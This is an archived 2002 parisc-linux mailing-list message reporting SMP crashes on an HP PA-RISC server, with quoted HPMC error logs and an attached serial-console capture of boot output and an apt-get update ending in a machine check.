> anything. The machine runs perfectly stable on an UP kernel. Any
> comments, suggestions of things that I could do to help someone
> debug it and anything else is welcome. Please CC me on replies,
> I'm not on the list.
> 
> --
> Arto Jantunen
> 

-- 
During the next two hours, the system will be going up and down several
times, often with lin~po_~{po       ~poz~ppo\~{ o n~po_~{o[po	 ~y oodsou>#w4k**n~po_~{ol;lkld;f;g;dd;po\~{o





From - Thu Nov 08 21:24:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arto Jantunen <viiru@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SMP problems (hardware gurus, please read)
Date: Thu, 12 Sep 2002 12:10:18 +0300
Lines: 1747
Approved: news@gmane.org
Message-ID: <20020912091018.GA16372@dt-link.fi>
References: <20020912054834.GA32209@www1.dt-link.fi> <Pine.LNX.4.44.0209112338570.1464-100000@garibaldi.apptechsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="LZvS9be/3tNcYl/X"
X-Trace: ger.gmane.org 1416621707 13849 80.91.229.3 (22 Nov 2014 02:01:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jeremy Drake <jeremyd@apptechsys.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 12 03:11:44 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail1 (unknown [217.116.164.102])
	by dsl2.external.hp.com (Postfix) with ESMTP id B08EF4829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 12 Sep 2002 03:11:42 -0600 (MDT)
Original-Received: by mail1 (Postfix, from userid 1000)
	id 102AD8013; Thu, 12 Sep 2002 12:10:19 +0300 (EEST)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.44.0209112338570.1464-100000@garibaldi.apptechsys.com>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16095

--LZvS9be/3tNcYl/X
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

On Wed, Sep 11, 2002 at 11:52:28PM -0700, Jeremy Drake wrote:
> I have the exact same problem on my J5000.  apt-get update and samba are 
> the two things that tend to crash it immediately.  It can run fairly well 
> SMP w/o doing either of these.  Also, X is now also crashing SMP (not sure 
> if/when things changed, as I wasn't running graphics for a while, and 
> can't clearly remember running X on smp).
> 
> The HPMC had an odd thing in the IO stuff -
> 
> > > '9000/785 B,C,J Workstation IO Error Log', rev 0, 228 bytes:
> > > 
> > >  Rope     Word1        Word2            Word3
> > > ------ ------------ ------------
> > >    0    0x00000000   0x0e0cc009   0x00000000fed30048
> > >    1    0x00000000   0x1e0cc009   0x00000000fed32048
> > >    2    ----------   0x2e0cc229   ------------------
> > >    3    ----------   0x3e0cc009   ------------------
> > >    4    0x00000000   0x4e0cc009   0x00000000fed38048
> > >    5    ----------   0x5e0cc009   ------------------
> > >    6    0x00000000   0x6e0cc009   0x00000000fed3c048
> > >    7    ----------   0x7e0cc009   ------------------
> 
> And here is one from another time:
> 
> '9000/785 B,C,J Workstation IO Error Log', rev 0, 228 bytes:
> 
>  Rope     Word1        Word2            Word3
> ------ ------------ ------------
>    0    0x00000000   0x0e0cc009   0x00000000fed30048
>    1    0x00000000   0x1e0cc009   0x00000000fed32048
>    2    ----------   0x2e0cc229   ------------------
>    3    ----------   0x3f4fd808   ------------------
>    4    0x00000000   0x40000008   0xffffffffffffffff
>    5    ----------   0x50000008   ------------------
>    6    0x00000000   0x60000008   0xffffffffffffffff
>    7    ----------   0x70100008   ------------------
> 
> possibly, could you send the output of ser pim after such a crash.  Here's 
> the general idea:
> 
> interrupt the boot process, and at the BOOT_ADMIN prompt type "ser 
> clearpim".  then bo pri.  Crash the box, reboot it, interrupt it again, 
> and type ser pim.  I am particularly interested in the io part (should be 
> at the end)...
> 
> Also, are there any HP hardware gurus out there that can explain these odd 
> io numbers?  Could they be relevant?

I did this, but the stuff I got from ser pim is almost all zeroes.
I'm attaching it anyway, but I don't think it is correct. I rebooted
by shutting it down from the power switch, is there a "softer" way
to do it (I only have a serial console)?
--LZvS9be/3tNcYl/X
Content-Type: text/plain; charset=unknown-8bit
Content-Disposition: attachment; filename="minicom.cap"
Content-Transfer-Encoding: quoted-printable




Firmware Version  38.39

Duplex Console IO Dependent Code (IODC) revision 0

---------------------------------------------------------------------------=
---
   (c) Copyright 1995-1998, Hewlett-Packard Company, All rights reserved
---------------------------------------------------------------------------=
---

  Processor   Speed            State           Coprocessor State  Cache Size
  ---------  --------   ---------------------  -----------------  ----------
      0       240 MHz   Active                 Functional            2 MB
      1       240 MHz   Stopped:Deconfigured   Unknown               2 MB

  Central Bus Speed (in MHz)  :        120=20

  Model: R390/2

  Available memory (bytes)    : 1073733632=20
  Good memory required (bytes):   86876160=20

  Primary boot path:    8/4.1   (dec)  =20
  Alternate boot path:  8/4.6   (dec)  =20
  Console path:         8/16/4.0   (dec)  =20
  Keyboard path:        8/16/7.0   (dec)  =20

CPU 0
WARNING:  Memory has been initialized, but not tested as a result of
          FASTBOOT being enabled.  To test memory, use the FASTBOOT
          command in the CONFIGURATION menu and reboot the system.


Processor is starting autoboot process.

To discontinue, press any key within 10 seconds.

10 seconds expired.
Proceeding...

Trying Primary Boot Path
------------------------

Booting...=20
Boot IO Dependent Code (IODC) revision 152


HARD Booted.
palo ipl 1.0 root@palinux Mon Apr  1 10:02:53 MST 2002

Partition Start(MB) End(MB) Id Type
1               1      16   f0 Palo
2              49    1002   82 swap
3            1003    4094   83 ext2
4              17      48   83 ext2

PALO(F0) partition contains:
    0/vmlinux32 3687647 bytes @ 0x48000

Information: No console specified on kernel command line. This is normal.
PALO will choose the console currently used by firmware (serial).
Command line for kernel: 'root=3D/dev/sda3 HOME=3D/ console=3DttyS0 TERM=3D=
vt102 palo_kernel=3D4/vmlinux'
Selected kernel: /vmlinux from partition 4
ELF32 executable
Entry 00100000 first 00100000 n 6
Segment 0 load 00100000 size 1893508 mediaptr 0x1000
Segment 1 load 002d0000 size 596888 mediaptr 0x1d0000
Segment 2 load 00364000 size 221560 mediaptr 0x262000
Segment 3 load 0039c000 size 8192 mediaptr 0x299000
Segment 4 load 003a0000 size 32768 mediaptr 0x29b000
Segment 5 load 003e38a4 size 82000 mediaptr 0x2a38a4
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

Linux version 2.4.19-pa14 (root@elli) (gcc version 3.0.4) #1 SMP Wed Sep 11=
 12:54:30 EEST 2002
FP[0] enabled: Rev 0 Model 14
The 32-bit Kernel has started...
Determining PDC firmware type: System Map.
model 00005ba0 00000491 00000000 00000002 7777173a 100000f0 00000008 000000=
b2 000000b2
vers  00000501
CPUID vers 14 rev 23 (0x000001d7)
capabilities 0x3
model 9000/800/R390
Total Memory: 1024 Mb
pagetable_init
On node 0 totalpages: 262144
zone(0): 262144 pages.
zone(1): 0 pages.
zone(2): 0 pages.
Kernel command line: root=3D/dev/sda3 HOME=3D/ console=3DttyS0 TERM=3Dvt102=
 palo_kernel=3D4/vmlinux
Console: colour dummy device 160x64
Calibrating delay loop... 478.41 BogoMIPS
Memory: 1033080k available
Dentry cache hash table entries: 131072 (order: 8, 1048576 bytes)
Inode cache hash table entries: 65536 (order: 7, 524288 bytes)
Mount-cache hash table entries: 16384 (order: 5, 131072 bytes)
Buffer-cache hash table entries: 65536 (order: 6, 262144 bytes)
Page-cache hash table entries: 262144 (order: 8, 1048576 bytes)
Searching for devices...
Found devices:
1. U2-IOA BC Runway Port (12) at 0xfff88000 [8], versions 0x580, 0xf, 0xb
2. Bluefish Add-on FW-SCSI (4) at 0xf1004000 [8/4], versions 0x13, 0x1, 0x89
3. HP HSC-PCI Cards (4) at 0xf1008000 [8/8], versions 0x4, 0x0, 0x9d
4. UL 550 Lasi Core BA (11) at 0xffd00000 [8/16], versions 0x2f, 0x0, 0x81,=
  additional addresses: 0xffd0c000 0xffc00000=20
5. UL 550 Core Centronics (10) at 0xffd02000 [8/16/0], versions 0x2f, 0x0, =
0x74,  additional addresses: 0xffd01000 0xffd03000=20
6. UL 550 Lasi Core RS-232 (10) at 0xffd05000 [8/16/4], versions 0x2f, 0x0,=
 0x8c
7. UL 550 Core SCSI (10) at 0xffd06000 [8/16/5], versions 0x2f, 0x0, 0x82
8. UL 350 Core LAN (802.3) (10) at 0xffd07000 [8/16/6], versions 0x2f, 0x0,=
 0x8a
9. UL 550 Core PS/2 Port (10) at 0xffd08000 [8/16/7], versions 0x2f, 0x0, 0=
x84
10. UL 550 Core PS/2 Port (10) at 0xffd08100 [8/16/8], versions 0x2f, 0x0, =
0x84
11. UL 550 Core Wax BA (11) at 0xffe00000 [8/20], versions 0x31, 0x0, 0x8e
12. UL 550 Wax Core RS-232 (10) at 0xffe02000 [8/20/2], versions 0x31, 0x0,=
 0x8c
13. UL 550 Wax EISA BA (11) at 0xfc000000 [8/20/5], versions 0x31, 0x0, 0x9=
0,  additional addresses: 0xffc88000=20
14. U2-IOA BC GSC+ Port (7) at 0xf103f000 [8/63], versions 0x501, 0x1, 0xc
15. U2-IOA BC Runway Port (12) at 0xfff8a000 [10], versions 0x580, 0xf, 0xb
16. Bluefish Add-on FW-SCSI (4) at 0xf180c000 [10/12], versions 0x13, 0x1, =
0x89
17. U2-IOA BC GSC+ Port (7) at 0xf183f000 [10/63], versions 0x501, 0x1, 0xc
18. UL 2w U+/240 (350/550) (0) at 0xfffa0000 [32], versions 0x5ba, 0x0, 0x4
19. Memory (1) at 0xfffb1000 [49], versions 0x7e, 0x0, 0x9
CPU(s): 1 x PA8200 (PCX-U+) at 240.000000 MHz
Found U2 at 0xfff88000
Found U2 at 0xfff8a000
Lasi version 0 at 0xffd00000 found.
LED display at ffd0c000 registered
Wax at 0xffe00000 found.
Wax EISA Adapter found at 0xfc000000
EISA EEPROM at 0xffc88000
Enumerating EISA bus
EISA slot 1 a configured board was not detected ( expected ___FFFF)
Dino version 3.x (card mode) found at 0xf1008000
Dino: Failed to allocate memory region
POSIX conformance testing by UNIFIX
SMP: Bootstrap processor only.
SMP: Total 1 of 1 processors activated (478.41 BogoMIPS noticed).
Waiting on wait_init_idle (map =3D 0x0)
All processors have done init_idle
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Initializing RT netlink socket
Soft power switch enabled, polling @ 0xf0140000.
Starting kswapd
VFS: Diskquotas version dquot_6.4.0 initialized
Journalled Block Device driver loaded
parport_init_chip: initialize bidirectional-mode.
parport0: PC-style at 0xffd02800, irq 88 [PCSPP,TRISTATE]
pty: 256 Unix98 ptys configured
Serial driver version 5.05c (2001-07-08) with MANY_PORTS SHARE_IRQ SERIAL_P=
CI enabled
ttyS00 at iomem 0xffd05800 (irq =3D 90) is a 16550A
ttyS01 at iomem 0xffe02800 (irq =3D 121) is a 16550A
PS/2 keyboard port at 0xffd08000 (irq 69) found, no device attached.
lp0: using parport0 (interrupt-driven).
Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
Found i82596 at 0xffd07000, IRQ 87
eth0: 82596 at 0xffd07000, 08 00 09 A3 38 14 IRQ 87.
82596.c $Revision: 1.29 $
SCSI subsystem driver Revision: 1.00
zalon_scsi_callback: Zalon vers field is 0x1, IRQ 36
ncr53c8xx: 53c720 detected
ncr53c720-0: ID 7, Fast-10, Parity Checking, Differential
zalon_scsi_callback: Zalon vers field is 0x1, IRQ 37
ncr53c8xx: 53c720 detected
ncr53c720-1: ID 7, Fast-10, Parity Checking, Differential
scsi0 : ncr53c8xx-3.4.3b-20010512
scsi1 : ncr53c8xx-3.4.3b-20010512
  Vendor: SEAGATE   Model: ST34573WC         Rev: HP11
  Type:   Direct-Access                      ANSI SCSI revision: 02
  Vendor: SEAGATE   Model: ST34573WC         Rev: HP11
  Type:   Direct-Access                      ANSI SCSI revision: 02
  Vendor: SEAGATE   Model: ST34573WC         Rev: HP11
  Type:   Direct-Access                      ANSI SCSI revision: 02
  Vendor: SEAGATE   Model: ST34573WC         Rev: HP11
  Type:   Direct-Access                      ANSI SCSI revision: 02
  Vendor: SEAGATE   Model: ST34573WC         Rev: HP11
  Type:   Direct-Access                      ANSI SCSI revision: 02
  Vendor: SEAGATE   Model: ST34573WC         Rev: HP15
  Type:   Direct-Access                      ANSI SCSI revision: 02
  Vendor: SEAGATE   Model: ST34573WC         Rev: HP11
  Type:   Direct-Access                      ANSI SCSI revision: 02
  Vendor: SEAGATE   Model: ST34573WC         Rev: HP11
  Type:   Direct-Access                      ANSI SCSI revision: 02
  Vendor: SEAGATE   Model: ST34573WC         Rev: HP15
  Type:   Direct-Access                      ANSI SCSI revision: 02
  Vendor: SEAGATE   Model: ST34573WC         Rev: HP11
  Type:   Direct-Access                      ANSI SCSI revision: 02
  Vendor: SEAGATE   Model: ST34573WC         Rev: HP11
  Type:   Direct-Access                      ANSI SCSI revision: 02
  Vendor: SEAGATE   Model: ST34573WC         Rev: HP11
  Type:   Direct-Access                      ANSI SCSI revision: 02
53c700: Version 2.7 By James.Bottomley@HansenPartnership.com
scsi2: 53c710 rev 2=20
scsi2 : LASI SCSI 53c700
scsi2: (2:0) Synchronous at offset 8, period 100ns
  Vendor: HP        Model: DVD-ROM 6x/32x    Rev: 1.08
  Type:   CD-ROM                             ANSI SCSI revision: 02
scsi2: (3:0) Synchronous at offset 8, period 100ns
  Vendor: HP        Model: C1537A            Rev: HP02
  Type:   Sequential-Access                  ANSI SCSI revision: 02
st: Version 20020205, bufsize 32768, wrt 30720, max init. bufs 4, s/g segs =
16
Attached scsi tape st0 at scsi2, channel 0, id 3, lun 0
Attached scsi disk sda at scsi0, channel 0, id 1, lun 0
Attached scsi disk sdb at scsi0, channel 0, id 2, lun 0
Attached scsi disk sdc at scsi0, channel 0, id 3, lun 0
Attached scsi disk sdd at scsi0, channel 0, id 4, lun 0
Attached scsi disk sde at scsi0, channel 0, id 5, lun 0
Attached scsi disk sdf at scsi0, channel 0, id 6, lun 0
Attached scsi disk sdg at scsi1, channel 0, id 1, lun 0
Attached scsi disk sdh at scsi1, channel 0, id 2, lun 0
Attached scsi disk sdi at scsi1, channel 0, id 3, lun 0
Attached scsi disk sdj at scsi1, channel 0, id 4, lun 0
Attached scsi disk sdk at scsi1, channel 0, id 5, lun 0
Attached scsi disk sdl at scsi1, channel 0, id 6, lun 0
ncr53c720-0-<1,*>: FAST-10 WIDE SCSI 20.0 MB/s (100 ns, offset 8)
SCSI device sda: 8388314 512-byte hdwr sectors (4295 MB)
Partition check:
 sda: sda1 sda2 sda3 sda4
ncr53c720-0-<2,*>: FAST-10 WIDE SCSI 20.0 MB/s (100 ns, offset 8)
SCSI device sdb: 8388314 512-byte hdwr sectors (4295 MB)
 sdb: unknown partition table
ncr53c720-0-<3,*>: FAST-10 WIDE SCSI 20.0 MB/s (100 ns, offset 8)
SCSI device sdc: 8388314 512-byte hdwr sectors (4295 MB)
 sdc: unknown partition table
ncr53c720-0-<4,*>: FAST-10 WIDE SCSI 20.0 MB/s (100 ns, offset 8)
SCSI device sdd: 8388314 512-byte hdwr sectors (4295 MB)
 sdd: unknown partition table
ncr53c720-0-<5,*>: FAST-10 WIDE SCSI 20.0 MB/s (100 ns, offset 8)
SCSI device sde: 8388314 512-byte hdwr sectors (4295 MB)
 sde: unknown partition table
ncr53c720-0-<6,*>: FAST-10 WIDE SCSI 20.0 MB/s (100 ns, offset 8)
SCSI device sdf: 8388314 512-byte hdwr sectors (4295 MB)
 sdf: unknown partition table
ncr53c720-1-<1,*>: FAST-10 WIDE SCSI 20.0 MB/s (100 ns, offset 8)
SCSI device sdg: 8388314 512-byte hdwr sectors (4295 MB)
 sdg: unknown partition table
ncr53c720-1-<2,*>: FAST-10 WIDE SCSI 20.0 MB/s (100 ns, offset 8)
SCSI device sdh: 8388314 512-byte hdwr sectors (4295 MB)
 sdh: unknown partition table
ncr53c720-1-<3,*>: FAST-10 WIDE SCSI 20.0 MB/s (100 ns, offset 8)
SCSI device sdi: 8388314 512-byte hdwr sectors (4295 MB)
 sdi: unknown partition table
ncr53c720-1-<4,*>: FAST-10 WIDE SCSI 20.0 MB/s (100 ns, offset 8)
SCSI device sdj: 8388314 512-byte hdwr sectors (4295 MB)
 sdj: unknown partition table
ncr53c720-1-<5,*>: FAST-10 WIDE SCSI 20.0 MB/s (100 ns, offset 8)
SCSI device sdk: 8388314 512-byte hdwr sectors (4295 MB)
 sdk: unknown partition table
ncr53c720-1-<6,*>: FAST-10 WIDE SCSI 20.0 MB/s (100 ns, offset 8)
SCSI device sdl: 8388314 512-byte hdwr sectors (4295 MB)
 sdl: unknown partition table
Attached scsi CD-ROM sr0 at scsi2, channel 0, id 2, lun 0
sr0: scsi3-mmc drive: 0x/0x cd/rw xa/form2 cdda tray
Uniform CD-ROM driver Revision: 3.12
md: linear personality registered as nr 1
md: raid0 personality registered as nr 2
md: raid1 personality registered as nr 3
md: raid5 personality registered as nr 4
raid5: measuring checksumming speed
   8regs     :   504.400 MB/sec
   8regs_prefetch:   443.600 MB/sec
   32regs    :   459.600 MB/sec
   32regs_prefetch:   432.400 MB/sec
raid5: using function: 8regs (504.400 MB/sec)
md: md driver 0.90.0 MAX_MD_DEVS=3D256, MD_SB_DISKS=3D27
md: Autodetecting RAID arrays.
md: autorun ...
md: ... autorun DONE.
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP, IGMP
IP: routing cache hash table of 1024 buckets, 48Kbytes
TCP: Hash tables configured (established 32768 bind 65536)
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
VFS: Mounted root (ext2 filesystem) readonly.
Freeing unused kernel memory: 216k freed
INIT: version 2.84 booting
Activating swap.
Adding Swap: 977140k swap-space (priority -1)
Checking root file system...
fsck 1.28 (31-Aug-2002)
/dev/sda3: clean, 30096/396000 files, 160528/791616 blocks
System time was Thu Sep 12 05:23:22 UTC 2002.
Setting the System Clock using the Hardware Clock as reference...
System Clock set. System local time is now Thu Sep 12 05:23:20 UTC 2002.
Calculating module dependencies... done.
Loading modules:=20
Starting RAID devices:  [events: 00000012]
 [events: 00000012]
 [events: 00000012]
 [events: 00000012]
 [events: 00000012]
 [events: 00000012]
md: autorun ...
md: considering sdg ...
md:  adding sdg ...
md:  adding sdf ...
md:  adding sde ...
md:  adding sdd ...
md:  adding sdc ...
md:  adding sdb ...
md: created md0
md: bind<sdb,1>
md: bind<sdc,2>
md: bind<sdd,3>
md: bind<sde,4>
md: bind<sdf,5>
md: bind<sdg,6>
md: running: <sdg><sdf><sde><sdd><sdc><sdb>
md: sdg's event counter: 00000012
md: sdf's event counter: 00000012
md: sde's event counter: 00000012
md: sdd's event counter: 00000012
md: sdc's event counter: 00000012
md: sdb's event counter: 00000012
md0: max total readahead window set to 992k
md0: 4 data-disks, max readahead per data-disk: 248k
raid5: spare disk sdg
raid5: device sdf operational as raid disk 4
raid5: device sde operational as raid disk 3
raid5: device sdd operational as raid disk 2
raid5: device sdc operational as raid disk 1
raid5: device sdb operational as raid disk 0
raid5: allocated 5436kB for md0
raid5: raid level 5 set md0 active with 5 out of 5 devices, algorithm 2
RAID5 conf printout:
 --- rd:5 wd:5 fd:0
 disk 0, s:0, o:1, n:0 rd:0 us:1 dev:sdb
 disk 1, s:0, o:1, n:1 rd:1 us:1 dev:sdc
 disk 2, s:0, o:1, n:2 rd:2 us:1 dev:sdd
 disk 3, s:0, o:1, n:3 rd:3 us:1 dev:sde
 disk 4, s:0, o:1, n:4 rd:4 us:1 dev:sdf
RAID5 conf printout:
 --- rd:5 wd:5 fd:0
 disk 0, s:0, o:1, n:0 rd:0 us:1 dev:sdb
 disk 1, s:0, o:1, n:1 rd:1 us:1 dev:sdc
 disk 2, s:0, o:1, n:2 rd:2 us:1 dev:sdd
 disk 3, s:0, o:1, n:3 rd:3 us:1 dev:sde
 disk 4, s:0, o:1, n:4 rd:4 us:1 dev:sdf
md: updating md0 RAID superblock on device
md: sdg [events: 00000013]<6>(write) sdg's sb offset: 4194048
md: sdf [events: 00000013]<6>(write) sdf's sb offset: 4194048
md: sde [events: 00000013]<6>(write) sde's sb offset: 4194048
md: sdd [events: 00000013]<6>(write) sdd's sb offset: 4194048
md: sdc [events: 00000013]<6>(write) sdc's sb offset: 4194048
md: sdb [events: 00000013]<6>(write) sdb's sb offset: 4194048
md: ... autorun DONE.
/dev/md0 done.
Checking all file systems...
fsck 1.28 (31-Aug-2002)
/dev/sda4: clean, 25/8256 files, 18237/32769 blocks
Setting kernel variables.
Mounting local filesystems...
/dev/sda4 on /boot type ext2 (rw)
Running 0dns-down to make sure resolv.conf is ok...done.
Cleaning: /etc/network/ifstate.
Setting up IP spoofing protection: rp_filter.
Configuring network interfaces: eth0: link ok.
done.

Setting the System Clock using the Hardware Clock as reference...
System Clock set. Local time: Thu Sep 12 08:23:37 EEST 2002

Cleaning: /tmp /var/lock /var/run.
Initializing random number generator... done.
Recovering nvi editor sessions... done.
INIT: Entering runlevel: 2
Starting system log daemon: syslogd.
Starting kernel log daemon: klogd.
Starting OpenLDAP: slapd.
Starting internet superserver: inetd.
Starting mail transport agent: Postfix.
Starting OpenBSD Secure Shell server: sshd.
Starting teapop: teapop.
Starting deferred execution scheduler: atd.
Starting periodic command scheduler: cron.

Debian GNU/Linux testing/unstable elli ttyS0

elli login: root
Password:=20
Last login: Wed Sep 11 15:47:34 2002 on ttyS0
Linux elli 2.4.19-pa14 #1 SMP Wed Sep 11 12:54:30 EEST 2002 parisc unknown =
unknown GNU/Linux

Most of the programs included with the Debian GNU/Linux system are
freely redistributable; the exact distribution terms for each program
are described in the individual files in /usr/share/doc/*/copyright

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
elli:~# uname -=08 =08=08 =08=08 =08=08 =08=08 =08=08 =08=08 =08=07=07=07=
=07cat /proc/pcu=08 =08=08 =08=08 =08cpuinfo
processor	: 0
cpu family	: PA-RISC 2.0
cpu		: PA8200 (PCX-U+)
cpu MHz		: 240.000000
model		: 9000/800/R390
model name	: UL 2w U+/240 (350/550)
hversion	: 0x00005ba0
sversion	: 0x00000491
I-cache		: 2048 KB
D-cache		: 2048 KB (WB)
ITLB entries	: 120
DTLB entries	: 120 - shared with ITLB
bogomips	: 478.41
software id	: 2004293434

elli:~# sync && apt-get update
0% [Working]            Hit http://security.debian.org stable/updates/main =
Packages
            Hit http://security.debian.org stable/updates/main Release
            Hit http://security.debian.org stable/updates/contrib Packages
            Hit http://security.debian.org stable/updates/contrib Release
            Hit http://security.debian.org stable/updates/non-free Packages
            Hit http://security.debian.org stable/updates/non-free Release
            19% [Connecting to ftp.fi.debian.org] [Waiting for file]       =
                                                 Get:1 http://non-us.debian=
.org unstable/non-US/main Packages [34.2kB]
                                                        3% [Connecting to f=
tp.fi.debian.org (130.230.54.99)] [1 Packages 1106/34.2kB 3%]              =
                                                                  Get:2 htt=
p://ftp.fi.debian.org unstable/main Packages [1945kB]
                                                                           =
     0% [2 Packages 1093/1945kB 0%] [1 Packages 8346/34.2kB 24%]           =
                                                7% [2 Packages 115485/1945k=
B 5%] [Waiting for file]                                                   =
Get:3 http://non-us.debian.org unstable/non-US/main Release [89B]
                                                   Hit http://non-us.debian=
.org unstable/non-US/contrib Packages
                                                   Get:4 http://non-us.debi=
an.org unstable/non-US/contrib Release [92B]
                                                   Hit http://non-us.debian=
.org unstable/non-US/non-free Packages
                                                   Get:5 http://non-us.debi=
an.org unstable/non-US/non-free Release [93B]
                                                   Hit http://non-us.debian=
.org stable/non-US/main Sources
                                                   Hit http://non-us.debian=
.org stable/non-US/main Release
                                                   Hit http://non-us.debian=
.org stable/non-US/contrib Sources
7% [2 Packages 115485/1945kB 5%] [Waiting for file]                        =
                           Hit http://non-us.debian.org stable/non-US/contr=
ib Release
7% [2 Packages 115485/1945kB 5%] [Waiting for file]                        =
                           7% [1 Packages gzip 0] [2 Packages 115485/1945kB=
 5%] [Waiting for file]                                                    =
                   Hit http://non-us.debian.org stable/non-US/non-free Sour=
ces
                                                                       Hit =
http://non-us.debian.org stable/non-US/non-free Release
                                                                       10% =
[1 Packages gzip 0] [2 Packages 174853/1945kB 8%]                          =
                           11% [2 Packages 190781/1945kB 9%]               =
                  15% [2 Packages 280557/1945kB 14%]20% [2 Packages 376125/=
1945kB 19%]25% [2 Packages 465901/1945kB 23%]30% [2 Packages 564365/1945kB =
29%]34% [2 Packages 649797/1945kB 33%]37% [2 Packages 712061/1945kB 36%]41%=
 [2 Packages 783013/1945kB 40%]45% [2 Packages 856861/1945kB 44%]          =
                        48% [2 Packages 924917/1945kB 47%]                 =
                   153kB/s 6s51% [2 Packages 992973/1945kB 51%]            =
                        153kB/s 6s55% [2 Packages 1072613/1945kB 55%]      =
                             153kB/s 5s59% [2 Packages 1152253/1945kB 59%] =
                                  153kB/s 5s62% [2 Packages 1198589/1945kB =
61%]                                   153kB/s 4s67% [2 Packages 1292709/19=
45kB 66%]                                   153kB/s 4s70% [2 Packages 13607=
65/1945kB 69%]                                   153kB/s 3s74% [2 Packages =
1431717/1945kB 73%]                                   153kB/s 3s78% [2 Pack=
ages 1509909/1945kB 77%]                                   153kB/s 2s81% [2=
 Packages 1585205/1945kB 81%]                                   153kB/s 2s8=
5% [2 Packages 1661949/1945kB 85%]                                   153kB/=
s 1s90% [2 Packages 1750277/1945kB 89%]                                   1=
53kB/s 1s93% [2 Packages 1813989/1945kB 93%]                               =
    153kB/s 0s97% [2 Packages 1897973/1945kB 97%]                          =
         150kB/s 0s                                                        =
                        Get:6 http://ftp.fi.debian.org unstable/main Releas=
e [82B]
                                                                           =
     Hit http://ftp.fi.debian.org unstable/non-free Packages
                                                                           =
     Get:7 http://ftp.fi.debian.org unstable/non-free Release [86B]
                                                                           =
     Get:8 http://ftp.fi.debian.org unstable/contrib Packages [47.8kB]
97% [8 Packages 2308/47.8kB 4%]                                       150kB=
/s 0s97% [2 Packages gzip 0] [8 Packages 2308/47.8kB 4%]                   =
150kB/s 0s                                                                 =
               Get:9 http://ftp.fi.debian.org unstable/contrib Release [85B]
                                                                           =
     Hit http://ftp.fi.debian.org stable/main Sources
                                                                           =
     Hit http://ftp.fi.debian.org stable/main Release
                                                                           =
     Hit http://ftp.fi.debian.org stable/non-free Sources
                                                                           =
     Hit http://ftp.fi.debian.org stable/non-free Release
                                                                           =
     Hit http://ftp.fi.debian.org stable/contrib Sources
                                                                           =
     Hit http://ftp.fi.debian.org stable/contrib Release
99% [2 Packages gzip 212992]                                          150kB=
/s 0s99% [2 Packages gzip 2093056]                                         =
150kB/s 0s99% [2 Packages gzip 4059136]                                    =
     150kB/s 0s99% [2 Packages gzip 5926912]                               =
          150kB/s 0s99% [Working]                                          =
               150kB/s 0s99% [8 Packages gzip 0]                           =
                    150kB/s 0s100% [Working]                               =
                         150kB/s 0s                                        =
                                        Fetched 2027kB in 15s (131kB/s)
Reading Package Lists... 0%apt-get(285): unaligned access to 0x403cf08c at =
ip=3D0x4005e4f7
Reading Package=20

Lists... 0%
High Priority Machine Check (HPMC): Code=3D1 regs=3D102ea080 (Addr=3D000000=
00)

Interact with IPL (Y, N, or Cancel)?> n

Booting...=20
Boot IO Dependent Code (IODC) revision 152


HARD Booted.
palo ipl 1.0 root@palinux Mon Apr  1 10:02:53 MST 2002

Partition Start(MB) End(MB) Id Type
1               1      16   f0 Palo
2              49    1002   82 swap
3            1003    4094   83 ext2
4              17      48   83 ext2

PALO(F0) partition contains:
    0/vmlinux32 3687647 bytes @ 0x48000

Information: No console specified on kernel command line. This is normal.
PALO will choose the console currently used by firmware (serial).
Command line for kernel: 'root=3D/dev/sda3 HOME=3D/ console=3DttyS0 TERM=3D=
vt102 palo_kernel=3D4/vmlinux'
Selected kernel: /vmlinux from partition 4
ELF32 executable
Entry 00100000 first 00100000 n 6
Segment 0 load 00100000 size 1893508 mediaptr 0x1000
Segment 1 load 002d0000 size 596888 mediaptr 0x1d0000
Segment 2 load 00364000 size 221560 mediaptr 0x262000
Segment 3 load 0039c000 size 8192 mediaptr 0x299000
Segment 4 load 003a0000 size 32768 mediaptr 0x29b000
Segment 5 load 003e38a4 size 82000 mediaptr 0x2a38a4
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

Linux version 2.4.19-pa14 (root@elli) (gcc version 3.0.4) #1 SMP Wed Sep 11=
 12:54:30 EEST 2002
FP[0] enabled: Rev 0 Model 14
The 32-bit Kernel has started...
